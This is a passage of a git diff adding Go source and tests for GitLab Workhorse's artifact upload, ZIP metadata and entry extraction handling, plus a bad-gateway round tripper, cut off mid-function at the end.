+ storeServer := httptest.NewServer(storeServerMux)
+ defer storeServer.Close()
+
+ authResponse := api.Response{
+ RemoteObject: api.RemoteObject{
+ StoreURL: storeServer.URL + "/url/put",
+ ID: "store-id",
+ Timeout: 1,
+ },
+ }
+
+ ts := testArtifactsUploadServer(t, authResponse, responseProcessor)
+ defer ts.Close()
+
+ response := testUploadArtifactsFromTestZip(t, ts)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
+ require.Equal(t, 1, putCalledTimes, "upload should be called only once")
+}
+
+func TestUploadHandlerMultipartUploadSizeLimit(t *testing.T) {
+ os, server := test.StartObjectStore()
+ defer server.Close()
+
+ err := os.InitiateMultipartUpload(test.ObjectPath)
+ require.NoError(t, err)
+
+ objectURL := server.URL + test.ObjectPath
+
+ uploadSize := 10
+ preauth := api.Response{
+ RemoteObject: api.RemoteObject{
+ ID: "store-id",
+ MultipartUpload: &api.MultipartUploadParams{
+ PartSize: 1,
+ PartURLs: []string{objectURL + "?partNumber=1"},
+ AbortURL: objectURL, // DELETE
+ CompleteURL: objectURL, // POST
+ },
+ },
+ }
+
+ responseProcessor := func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("it should not be called")
+ }
+
+ ts := testArtifactsUploadServer(t, preauth, responseProcessor)
+ defer ts.Close()
+
+ contentBuffer, contentType := createTestMultipartForm(t, make([]byte, uploadSize))
+ response := testUploadArtifacts(t, contentType, ts.URL+Path, &contentBuffer)
+ require.Equal(t, http.StatusRequestEntityTooLarge, response.Code)
+
+ // Poll because AbortMultipartUpload is async
+ for i := 0; os.IsMultipartUpload(test.ObjectPath) && i < 100; i++ {
+ time.Sleep(10 * time.Millisecond)
+ }
+ require.False(t, os.IsMultipartUpload(test.ObjectPath), "MultipartUpload should not be in progress anymore")
+ require.Empty(t, os.GetObjectMD5(test.ObjectPath), "upload should have failed, so the object should not exists")
+}
+
+func TestUploadHandlerMultipartUploadMaximumSizeFromApi(t *testing.T) {
+ os, server := test.StartObjectStore()
+ defer server.Close()
+
+ err := os.InitiateMultipartUpload(test.ObjectPath)
+ require.NoError(t, err)
+
+ objectURL := server.URL + test.ObjectPath
+
+ uploadSize := int64(10)
+ maxSize := uploadSize - 1
+ preauth := api.Response{
+ MaximumSize: maxSize,
+ RemoteObject: api.RemoteObject{
+ ID: "store-id",
+ MultipartUpload: &api.MultipartUploadParams{
+ PartSize: uploadSize,
+ PartURLs: []string{objectURL + "?partNumber=1"},
+ AbortURL: objectURL, // DELETE
+ CompleteURL: objectURL, // POST
+ },
+ },
+ }
+
+ responseProcessor := func(w http.ResponseWriter, r *http.Request) {
+ t.Fatal("it should not be called")
+ }
+
+ ts := testArtifactsUploadServer(t, preauth, responseProcessor)
+ defer ts.Close()
+
+ contentBuffer, contentType := createTestMultipartForm(t, make([]byte, uploadSize))
+ response := testUploadArtifacts(t, contentType, ts.URL+Path, &contentBuffer)
+ require.Equal(t, http.StatusRequestEntityTooLarge, response.Code)
+
+ testhelper.Retry(t, 5*time.Second, func() error {
+ if os.GetObjectMD5(test.ObjectPath) == "" {
+ return nil
+ }
+
+ return fmt.Errorf("file is still present")
+ })
+}
diff --git a/workhorse/internal/artifacts/artifacts_test.go b/workhorse/internal/artifacts/artifacts_test.go
new file mode 100644
index 00000000000..b9a42cc60c1
--- /dev/null
+++ b/workhorse/internal/artifacts/artifacts_test.go
@@ -0,0 +1,19 @@
+package artifacts
+
+import (
+ "os"
+ "testing"
+
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func TestMain(m *testing.M) {
+ if err := testhelper.BuildExecutables(); err != nil {
+ log.WithError(err).Fatal()
+ }
+
+ os.Exit(m.Run())
+
+}
diff --git a/workhorse/internal/artifacts/artifacts_upload.go b/workhorse/internal/artifacts/artifacts_upload.go
new file mode 100644
index 00000000000..3d4b8bf0931
--- /dev/null
+++ b/workhorse/internal/artifacts/artifacts_upload.go
@@ -0,0 +1,167 @@
+package artifacts
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "mime/multipart"
+ "net/http"
+ "os"
+ "os/exec"
+ "strings"
+ "syscall"
+
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/zipartifacts"
+)
+
+// Sent by the runner: https://gitlab.com/gitlab-org/gitlab-runner/blob/c24da19ecce8808d9d2950896f70c94f5ea1cc2e/network/gitlab.go#L580
+const (
+ ArtifactFormatKey = "artifact_format"
+ ArtifactFormatZip = "zip"
+ ArtifactFormatDefault = ""
+)
+
+var zipSubcommandsErrorsCounter = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_zip_subcommand_errors_total",
+ Help: "Errors comming from subcommands used for processing ZIP archives",
+ }, []string{"error"})
+
+type artifactsUploadProcessor struct {
+ opts *filestore.SaveFileOpts
+ format string
+
+ upload.SavedFileTracker
+}
+
+func (a *artifactsUploadProcessor) generateMetadataFromZip(ctx context.Context, file *filestore.FileHandler) (*filestore.FileHandler, error) {
+ metaReader, metaWriter := io.Pipe()
+ defer metaWriter.Close()
+
+ metaOpts := &filestore.SaveFileOpts{
+ LocalTempPath: a.opts.LocalTempPath,
+ TempFilePrefix: "metadata.gz",
+ }
+ if metaOpts.LocalTempPath == "" {
+ metaOpts.LocalTempPath = os.TempDir()
+ }
+
+ fileName := file.LocalPath
+ if fileName == "" {
+ fileName = file.RemoteURL
+ }
+
+ zipMd := exec.CommandContext(ctx, "gitlab-zip-metadata", fileName)
+ zipMd.Stderr = log.ContextLogger(ctx).Writer()
+ zipMd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
+ zipMd.Stdout = metaWriter
+
+ if err := zipMd.Start(); err != nil {
+ return nil, err
+ }
+ defer helper.CleanUpProcessGroup(zipMd)
+
+ type saveResult struct {
+ error
+ *filestore.FileHandler
+ }
+ done := make(chan saveResult)
+ go func() {
+ var result saveResult
+ result.FileHandler, result.error = filestore.SaveFileFromReader(ctx, metaReader, -1, metaOpts)
+
+ done <- result
+ }()
+
+ if err := zipMd.Wait(); err != nil {
+ st, ok := helper.ExitStatus(err)
+
+ if !ok {
+ return nil, err
+ }
+
+ zipSubcommandsErrorsCounter.WithLabelValues(zipartifacts.ErrorLabelByCode(st)).Inc()
+
+ if st == zipartifacts.CodeNotZip {
+ return nil, nil
+ }
+
+ if st == zipartifacts.CodeLimitsReached {
+ return nil, zipartifacts.ErrBadMetadata
+ }
+ }
+
+ metaWriter.Close()
+ result := <-done
+ return result.FileHandler, result.error
+}
+
+func (a *artifactsUploadProcessor) ProcessFile(ctx context.Context, formName string, file *filestore.FileHandler, writer *multipart.Writer) error {
+ // ProcessFile for artifacts requires file form-data field name to eq `file`
+
+ if formName != "file" {
+ return fmt.Errorf("invalid form field: %q", formName)
+ }
+ if a.Count() > 0 {
+ return fmt.Errorf("artifacts request contains more than one file")
+ }
+ a.Track(formName, file.LocalPath)
+
+ select {
+ case <-ctx.Done():
+ return fmt.Errorf("ProcessFile: context done")
+ default:
+ }
+
+ if !strings.EqualFold(a.format, ArtifactFormatZip) && a.format != ArtifactFormatDefault {
+ return nil
+ }
+
+ // TODO: can we rely on disk for shipping metadata? Not if we split workhorse and rails in 2 different PODs
+ metadata, err := a.generateMetadataFromZip(ctx, file)
+ if err != nil {
+ return err
+ }
+
+ if metadata != nil {
+ fields, err := metadata.GitLabFinalizeFields("metadata")
+ if err != nil {
+ return fmt.Errorf("finalize metadata field error: %v", err)
+ }
+
+ for k, v := range fields {
+ writer.WriteField(k, v)
+ }
+
+ a.Track("metadata", metadata.LocalPath)
+ }
+
+ return nil
+}
+
+func (a *artifactsUploadProcessor) Name() string {
+ return "artifacts"
+}
+
+func UploadArtifacts(myAPI *api.API, h http.Handler, p upload.Preparer) http.Handler {
+ return myAPI.PreAuthorizeHandler(func(w http.ResponseWriter, r *http.Request, a *api.Response) {
+ opts, _, err := p.Prepare(a)
+ if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("UploadArtifacts: error preparing file storage options"))
+ return
+ }
+
+ format := r.URL.Query().Get(ArtifactFormatKey)
+
+ mg := &artifactsUploadProcessor{opts: opts, format: format, SavedFileTracker: upload.SavedFileTracker{Request: r}}
+ upload.HandleFileUploads(w, r, h, a, mg, opts)
+ }, "/authorize")
+}
diff --git a/workhorse/internal/artifacts/artifacts_upload_test.go b/workhorse/internal/artifacts/artifacts_upload_test.go
new file mode 100644
index 00000000000..c82ae791239
--- /dev/null
+++ b/workhorse/internal/artifacts/artifacts_upload_test.go
@@ -0,0 +1,322 @@
+package artifacts
+
+import (
+ "archive/zip"
+ "bytes"
+ "compress/gzip"
+ "encoding/json"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "mime/multipart"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "testing"
+
+ "github.com/dgrijalva/jwt-go"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/api"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/filestore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/proxy"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upload"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/upstream/roundtripper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/zipartifacts"
+
+ "github.com/stretchr/testify/require"
+)
+
+const (
+ MetadataHeaderKey = "Metadata-Status"
+ MetadataHeaderPresent = "present"
+ MetadataHeaderMissing = "missing"
+ Path = "/url/path"
+)
+
+func testArtifactsUploadServer(t *testing.T, authResponse api.Response, bodyProcessor func(w http.ResponseWriter, r *http.Request)) *httptest.Server {
+ mux := http.NewServeMux()
+ mux.HandleFunc(Path+"/authorize", func(w http.ResponseWriter, r *http.Request) {
+ if r.Method != "POST" {
+ t.Fatal("Expected POST request")
+ }
+
+ w.Header().Set("Content-Type", api.ResponseContentType)
+
+ data, err := json.Marshal(&authResponse)
+ if err != nil {
+ t.Fatal("Expected to marshal")
+ }
+ w.Write(data)
+ })
+ mux.HandleFunc(Path, func(w http.ResponseWriter, r *http.Request) {
+ opts, err := filestore.GetOpts(&authResponse)
+ require.NoError(t, err)
+
+ if r.Method != "POST" {
+ t.Fatal("Expected POST request")
+ }
+ if opts.IsLocal() {
+ if r.FormValue("file.path") == "" {
+ t.Fatal("Expected file to be present")
+ return
+ }
+
+ _, err := ioutil.ReadFile(r.FormValue("file.path"))
+ if err != nil {
+ t.Fatal("Expected file to be readable")
+ return
+ }
+ } else {
+ if r.FormValue("file.remote_url") == "" {
+ t.Fatal("Expected file to be remote accessible")
+ return
+ }
+ }
+
+ if r.FormValue("metadata.path") != "" {
+ metadata, err := ioutil.ReadFile(r.FormValue("metadata.path"))
+ if err != nil {
+ t.Fatal("Expected metadata to be readable")
+ return
+ }
+ gz, err := gzip.NewReader(bytes.NewReader(metadata))
+ if err != nil {
+ t.Fatal("Expected metadata to be valid gzip")
+ return
+ }
+ defer gz.Close()
+ metadata, err = ioutil.ReadAll(gz)
+ if err != nil {
+ t.Fatal("Expected metadata to be valid")
+ return
+ }
+ if !bytes.HasPrefix(metadata, []byte(zipartifacts.MetadataHeaderPrefix+zipartifacts.MetadataHeader)) {
+ t.Fatal("Expected metadata to be of valid format")
+ return
+ }
+
+ w.Header().Set(MetadataHeaderKey, MetadataHeaderPresent)
+
+ } else {
+ w.Header().Set(MetadataHeaderKey, MetadataHeaderMissing)
+ }
+
+ w.WriteHeader(http.StatusOK)
+
+ if bodyProcessor != nil {
+ bodyProcessor(w, r)
+ }
+ })
+ return testhelper.TestServerWithHandler(nil, mux.ServeHTTP)
+}
+
+type testServer struct {
+ url string
+ writer *multipart.Writer
+ buffer *bytes.Buffer
+ fileWriter io.Writer
+ cleanup func()
+}
+
+func setupWithTmpPath(t *testing.T, filename string, includeFormat bool, format string, authResponse *api.Response, bodyProcessor func(w http.ResponseWriter, r *http.Request)) *testServer {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+
+ if authResponse == nil {
+ authResponse = &api.Response{TempPath: tempPath}
+ }
+
+ ts := testArtifactsUploadServer(t, *authResponse, bodyProcessor)
+
+ var buffer bytes.Buffer
+ writer := multipart.NewWriter(&buffer)
+ fileWriter, err := writer.CreateFormFile(filename, "my.file")
+ require.NotNil(t, fileWriter)
+ require.NoError(t, err)
+
+ cleanup := func() {
+ ts.Close()
+ require.NoError(t, os.RemoveAll(tempPath))
+ require.NoError(t, writer.Close())
+ }
+
+ qs := ""
+
+ if includeFormat {
+ qs = fmt.Sprintf("?%s=%s", ArtifactFormatKey, format)
+ }
+
+ return &testServer{url: ts.URL + Path + qs, writer: writer, buffer: &buffer, fileWriter: fileWriter, cleanup: cleanup}
+}
+
+func testUploadArtifacts(t *testing.T, contentType, url string, body io.Reader) *httptest.ResponseRecorder {
+ httpRequest, err := http.NewRequest("POST", url, body)
+ require.NoError(t, err)
+
+ httpRequest.Header.Set("Content-Type", contentType)
+ response := httptest.NewRecorder()
+ parsedURL := helper.URLMustParse(url)
+ roundTripper := roundtripper.NewTestBackendRoundTripper(parsedURL)
+ testhelper.ConfigureSecret()
+ apiClient := api.NewAPI(parsedURL, "123", roundTripper)
+ proxyClient := proxy.NewProxy(parsedURL, "123", roundTripper)
+ UploadArtifacts(apiClient, proxyClient, &upload.DefaultPreparer{}).ServeHTTP(response, httpRequest)
+ return response
+}
+
+func TestUploadHandlerAddingMetadata(t *testing.T) {
+ testCases := []struct {
+ desc string
+ format string
+ includeFormat bool
+ }{
+ {
+ desc: "ZIP format",
+ format: ArtifactFormatZip,
+ includeFormat: true,
+ },
+ {
+ desc: "default format",
+ format: ArtifactFormatDefault,
+ includeFormat: true,
+ },
+ {
+ desc: "default format without artifact_format",
+ format: ArtifactFormatDefault,
+ includeFormat: false,
+ },
+ }
+
+ for _, tc := range testCases {
+ t.Run(tc.desc, func(t *testing.T) {
+ s := setupWithTmpPath(t, "file", tc.includeFormat, tc.format, nil,
+ func(w http.ResponseWriter, r *http.Request) {
+ token, err := jwt.ParseWithClaims(r.Header.Get(upload.RewrittenFieldsHeader), &upload.MultipartClaims{}, testhelper.ParseJWT)
+ require.NoError(t, err)
+
+ rewrittenFields := token.Claims.(*upload.MultipartClaims).RewrittenFields
+ require.Equal(t, 2, len(rewrittenFields))
+
+ require.Contains(t, rewrittenFields, "file")
+ require.Contains(t, rewrittenFields, "metadata")
+ require.Contains(t, r.PostForm, "file.gitlab-workhorse-upload")
+ require.Contains(t, r.PostForm, "metadata.gitlab-workhorse-upload")
+ },
+ )
+ defer s.cleanup()
+
+ archive := zip.NewWriter(s.fileWriter)
+ file, err := archive.Create("test.file")
+ require.NotNil(t, file)
+ require.NoError(t, err)
+
+ require.NoError(t, archive.Close())
+ require.NoError(t, s.writer.Close())
+
+ response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
+ require.Equal(t, http.StatusOK, response.Code)
+ testhelper.RequireResponseHeader(t, response, MetadataHeaderKey, MetadataHeaderPresent)
+ })
+ }
+}
+
+func TestUploadHandlerTarArtifact(t *testing.T) {
+ s := setupWithTmpPath(t, "file", true, "tar", nil,
+ func(w http.ResponseWriter, r *http.Request) {
+ token, err := jwt.ParseWithClaims(r.Header.Get(upload.RewrittenFieldsHeader), &upload.MultipartClaims{}, testhelper.ParseJWT)
+ require.NoError(t, err)
+
+ rewrittenFields := token.Claims.(*upload.MultipartClaims).RewrittenFields
+ require.Equal(t, 1, len(rewrittenFields))
+
+ require.Contains(t, rewrittenFields, "file")
+ require.Contains(t, r.PostForm, "file.gitlab-workhorse-upload")
+ },
+ )
+ defer s.cleanup()
+
+ file, err := os.Open("../../testdata/tarfile.tar")
+ require.NoError(t, err)
+
+ _, err = io.Copy(s.fileWriter, file)
+ require.NoError(t, err)
+ require.NoError(t, file.Close())
+ require.NoError(t, s.writer.Close())
+
+ response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
+ require.Equal(t, http.StatusOK, response.Code)
+ testhelper.RequireResponseHeader(t, response, MetadataHeaderKey, MetadataHeaderMissing)
+}
+
+func TestUploadHandlerForUnsupportedArchive(t *testing.T) {
+ s := setupWithTmpPath(t, "file", true, "other", nil, nil)
+ defer s.cleanup()
+ require.NoError(t, s.writer.Close())
+
+ response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
+ require.Equal(t, http.StatusOK, response.Code)
+ testhelper.RequireResponseHeader(t, response, MetadataHeaderKey, MetadataHeaderMissing)
+}
+
+func TestUploadHandlerForMultipleFiles(t *testing.T) {
+ s := setupWithTmpPath(t, "file", true, "", nil, nil)
+ defer s.cleanup()
+
+ file, err := s.writer.CreateFormFile("file", "my.file")
+ require.NotNil(t, file)
+ require.NoError(t, err)
+ require.NoError(t, s.writer.Close())
+
+ response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
+}
+
+func TestUploadFormProcessing(t *testing.T) {
+ s := setupWithTmpPath(t, "metadata", true, "", nil, nil)
+ defer s.cleanup()
+ require.NoError(t, s.writer.Close())
+
+ response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
+}
+
+func TestLsifFileProcessing(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+
+ s := setupWithTmpPath(t, "file", true, "zip", &api.Response{TempPath: tempPath, ProcessLsif: true}, nil)
+ defer s.cleanup()
+
+ file, err := os.Open("../../testdata/lsif/valid.lsif.zip")
+ require.NoError(t, err)
+
+ _, err = io.Copy(s.fileWriter, file)
+ require.NoError(t, err)
+ require.NoError(t, file.Close())
+ require.NoError(t, s.writer.Close())
+
+ response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
+ require.Equal(t, http.StatusOK, response.Code)
+ testhelper.RequireResponseHeader(t, response, MetadataHeaderKey, MetadataHeaderPresent)
+}
+
+func TestInvalidLsifFileProcessing(t *testing.T) {
+ tempPath, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+
+ s := setupWithTmpPath(t, "file", true, "zip", &api.Response{TempPath: tempPath, ProcessLsif: true}, nil)
+ defer s.cleanup()
+
+ file, err := os.Open("../../testdata/lsif/invalid.lsif.zip")
+ require.NoError(t, err)
+
+ _, err = io.Copy(s.fileWriter, file)
+ require.NoError(t, err)
+ require.NoError(t, file.Close())
+ require.NoError(t, s.writer.Close())
+
+ response := testUploadArtifacts(t, s.writer.FormDataContentType(), s.url, s.buffer)
+ require.Equal(t, http.StatusInternalServerError, response.Code)
+}
diff --git a/workhorse/internal/artifacts/entry.go b/workhorse/internal/artifacts/entry.go
new file mode 100644
index 00000000000..0c697d40020
--- /dev/null
+++ b/workhorse/internal/artifacts/entry.go
@@ -0,0 +1,123 @@
+package artifacts
+
+import (
+ "bufio"
+ "context"
+ "fmt"
+ "io"
+ "mime"
+ "net/http"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "strings"
+ "syscall"
+
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/senddata"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/zipartifacts"
+)
+
+type entry struct{ senddata.Prefix }
+type entryParams struct{ Archive, Entry string }
+
+var SendEntry = &entry{"artifacts-entry:"}
+
+// Artifacts downloader doesn't support ranges when downloading a single file
+func (e *entry) Inject(w http.ResponseWriter, r *http.Request, sendData string) {
+ var params entryParams
+ if err := e.Unpack(&params, sendData); err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendEntry: unpack sendData: %v", err))
+ return
+ }
+
+ log.WithContextFields(r.Context(), log.Fields{
+ "entry": params.Entry,
+ "archive": params.Archive,
+ "path": r.URL.Path,
+ }).Print("SendEntry: sending")
+
+ if params.Archive == "" || params.Entry == "" {
+ helper.Fail500(w, r, fmt.Errorf("SendEntry: Archive or Entry is empty"))
+ return
+ }
+
+ err := unpackFileFromZip(r.Context(), params.Archive, params.Entry, w.Header(), w)
+
+ if os.IsNotExist(err) {
+ http.NotFound(w, r)
+ } else if err != nil {
+ helper.Fail500(w, r, fmt.Errorf("SendEntry: %v", err))
+ }
+}
+
+func detectFileContentType(fileName string) string {
+ contentType := mime.TypeByExtension(filepath.Ext(fileName))
+ if contentType == "" {
+ contentType = "application/octet-stream"
+ }
+ return contentType
+}
+
+func unpackFileFromZip(ctx context.Context, archivePath, encodedFilename string, headers http.Header, output io.Writer) error {
+ fileName, err := zipartifacts.DecodeFileEntry(encodedFilename)
+ if err != nil {
+ return err
+ }
+
+ catFile := exec.Command("gitlab-zip-cat")
+ catFile.Env = append(os.Environ(),
+ "ARCHIVE_PATH="+archivePath,
+ "ENCODED_FILE_NAME="+encodedFilename,
+ )
+ catFile.Stderr = log.ContextLogger(ctx).Writer()
+ catFile.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
+ stdout, err := catFile.StdoutPipe()
+ if err != nil {
+ return fmt.Errorf("create gitlab-zip-cat stdout pipe: %v", err)
+ }
+
+ if err := catFile.Start(); err != nil {
+ return fmt.Errorf("start %v: %v", catFile.Args, err)
+ }
+ defer helper.CleanUpProcessGroup(catFile)
+
+ basename := filepath.Base(fileName)
+ reader := bufio.NewReader(stdout)
+ contentLength, err := reader.ReadString('\n')
+ if err != nil {
+ if catFileErr := waitCatFile(catFile); catFileErr != nil {
+ return catFileErr
+ }
+ return fmt.Errorf("read content-length: %v", err)
+ }
+ contentLength = strings.TrimSuffix(contentLength, "\n")
+
+ // Write http headers about the file
+ headers.Set("Content-Length", contentLength)
+ headers.Set("Content-Type", detectFileContentType(fileName))
+ headers.Set("Content-Disposition", "attachment; filename=\""+escapeQuotes(basename)+"\"")
+ // Copy file body to client
+ if _, err := io.Copy(output, reader); err != nil {
+ return fmt.Errorf("copy stdout of %v: %v", catFile.Args, err)
+ }
+
+ return waitCatFile(catFile)
+}
+
+func waitCatFile(cmd *exec.Cmd) error {
+ err := cmd.Wait()
+ if err == nil {
+ return nil
+ }
+
+ st, ok := helper.ExitStatus(err)
+
+ if ok && (st == zipartifacts.CodeArchiveNotFound || st == zipartifacts.CodeEntryNotFound) {
+ return os.ErrNotExist
+ }
+ return fmt.Errorf("wait for %v to finish: %v", cmd.Args, err)
+
+}
diff --git a/workhorse/internal/artifacts/entry_test.go b/workhorse/internal/artifacts/entry_test.go
new file mode 100644
index 00000000000..6f1e9d360aa
--- /dev/null
+++ b/workhorse/internal/artifacts/entry_test.go
@@ -0,0 +1,134 @@
+package artifacts
+
+import (
+ "archive/zip"
+ "encoding/base64"
+ "fmt"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+func testEntryServer(t *testing.T, archive string, entry string) *httptest.ResponseRecorder {
+ mux := http.NewServeMux()
+ mux.HandleFunc("/url/path", func(w http.ResponseWriter, r *http.Request) {
+ require.Equal(t, "GET", r.Method)
+
+ encodedEntry := base64.StdEncoding.EncodeToString([]byte(entry))
+ jsonParams := fmt.Sprintf(`{"Archive":"%s","Entry":"%s"}`, archive, encodedEntry)
+ data := base64.URLEncoding.EncodeToString([]byte(jsonParams))
+
+ SendEntry.Inject(w, r, data)
+ })
+
+ httpRequest, err := http.NewRequest("GET", "/url/path", nil)
+ require.NoError(t, err)
+ response := httptest.NewRecorder()
+ mux.ServeHTTP(response, httpRequest)
+ return response
+}
+
+func TestDownloadingFromValidArchive(t *testing.T) {
+ tempFile, err := ioutil.TempFile("", "uploads")
+ require.NoError(t, err)
+ defer tempFile.Close()
+ defer os.Remove(tempFile.Name())
+
+ archive := zip.NewWriter(tempFile)
+ defer archive.Close()
+ fileInArchive, err := archive.Create("test.txt")
+ require.NoError(t, err)
+ fmt.Fprint(fileInArchive, "testtest")
+ archive.Close()
+
+ response := testEntryServer(t, tempFile.Name(), "test.txt")
+
+ require.Equal(t, 200, response.Code)
+
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Type",
+ "text/plain; charset=utf-8")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Disposition",
+ "attachment; filename=\"test.txt\"")
+
+ testhelper.RequireResponseBody(t, response, "testtest")
+}
+
+func TestDownloadingFromValidHTTPArchive(t *testing.T) {
+ tempDir, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempDir)
+
+ f, err := os.Create(filepath.Join(tempDir, "archive.zip"))
+ require.NoError(t, err)
+ defer f.Close()
+
+ archive := zip.NewWriter(f)
+ defer archive.Close()
+ fileInArchive, err := archive.Create("test.txt")
+ require.NoError(t, err)
+ fmt.Fprint(fileInArchive, "testtest")
+ archive.Close()
+ f.Close()
+
+ fileServer := httptest.NewServer(http.FileServer(http.Dir(tempDir)))
+ defer fileServer.Close()
+
+ response := testEntryServer(t, fileServer.URL+"/archive.zip", "test.txt")
+
+ require.Equal(t, 200, response.Code)
+
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Type",
+ "text/plain; charset=utf-8")
+ testhelper.RequireResponseHeader(t, response,
+ "Content-Disposition",
+ "attachment; filename=\"test.txt\"")
+
+ testhelper.RequireResponseBody(t, response, "testtest")
+}
+
+func TestDownloadingNonExistingFile(t *testing.T) {
+ tempFile, err := ioutil.TempFile("", "uploads")
+ require.NoError(t, err)
+ defer tempFile.Close()
+ defer os.Remove(tempFile.Name())
+
+ archive := zip.NewWriter(tempFile)
+ defer archive.Close()
+ archive.Close()
+
+ response := testEntryServer(t, tempFile.Name(), "test")
+ require.Equal(t, 404, response.Code)
+}
+
+func TestDownloadingFromInvalidArchive(t *testing.T) {
+ response := testEntryServer(t, "path/to/non/existing/file", "test")
+ require.Equal(t, 404, response.Code)
+}
+
+func TestIncompleteApiResponse(t *testing.T) {
+ response := testEntryServer(t, "", "")
+ require.Equal(t, 500, response.Code)
+}
+
+func TestDownloadingFromNonExistingHTTPArchive(t *testing.T) {
+ tempDir, err := ioutil.TempDir("", "uploads")
+ require.NoError(t, err)
+ defer os.RemoveAll(tempDir)
+
+ fileServer := httptest.NewServer(http.FileServer(http.Dir(tempDir)))
+ defer fileServer.Close()
+
+ response := testEntryServer(t, fileServer.URL+"/not-existing-archive-file.zip", "test.txt")
+
+ require.Equal(t, 404, response.Code)
+}
diff --git a/workhorse/internal/artifacts/escape_quotes.go b/workhorse/internal/artifacts/escape_quotes.go
new file mode 100644
index 00000000000..94db2be39b7
--- /dev/null
+++ b/workhorse/internal/artifacts/escape_quotes.go
@@ -0,0 +1,10 @@
+package artifacts
+
+import "strings"
+
+// taken from mime/multipart/writer.go
+var quoteEscaper = strings.NewReplacer("\\", "\\\\", `"`, "\\\"")
+
+func escapeQuotes(s string) string {
+ return quoteEscaper.Replace(s)
+}
diff --git a/workhorse/internal/badgateway/roundtripper.go b/workhorse/internal/badgateway/roundtripper.go
new file mode 100644
index 00000000000..a36cc9f4a9a
--- /dev/null
+++ b/workhorse/internal/badgateway/roundtripper.go
@@ -0,0 +1,115 @@
+package badgateway
+
+import (
+ "bytes"
+ "fmt"
+ "html/template"
+ "io/ioutil"
+ "net/http"
+ "strings"
+ "time"
+
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/helper"
+)
+
+// Error is a custom error for pretty Sentry 'issues'
+type sentryError struct{ error }
+
+type roundTripper struct {
+ next http.RoundTripper
+ developmentMode bool
+}
+
+// NewRoundTripper creates a RoundTripper with a provided underlying next transport
+func NewRoundTripper(developmentMode bool, next http.RoundTripper) http.RoundTripper {
+ return &roundTripper{next: next, developmentMode: developmentMode}
+}
+
+func (t *roundTripper) RoundTrip(r *http.Request) (*http.Response, error) {
+ start := time.Now()
+
+ res, err := t.next.RoundTrip(r)
+ if err == nil {
+ return res, err
+ }
+
+ // httputil.ReverseProxy translates all errors from this
+ // RoundTrip function into 500 errors. But the most likely error
+ // is that the Rails app is not responding, in which case users
+ // and administrators expect to see a 502 error. To show 502s
+ // instead of 500s we catch the RoundTrip error here and inject a
+ // 502 response.
+ fields := log.Fields{"duration_ms": int64(time.Since(start).Seconds() * 1000)}
+ helper.LogErrorWithFields(
+ r,
+ &sentryError{fmt.Errorf("badgateway: failed to receive response: %v", err)},
+ fields,
+ )
+
+ injectedResponse := &http.Response{
+ StatusCode: http.StatusBadGateway,
+ Status: http.StatusText(http.StatusBadGateway),
+
+ Request: r,
+ ProtoMajor: r.ProtoMajor,
+ ProtoMinor: r.ProtoMinor,
+ Proto: r.Proto,
+ Header: make(http.Header),
+ Trailer: make(http.Header),
+ }
+
+ message := "GitLab is not responding"
+ contentType := "text/plain"
+ if t.developmentMode {
+ message, contentType = developmentModeResponse(err)
+ }
+
+ injectedResponse.Body = ioutil.NopCloser(strings.NewReader(message))
+ injectedResponse.Header.Set("Content-Type", contentType)
+
+ return injectedResponse, nil
+}
+
+func developmentModeResponse(err error) (body string, contentType string) {
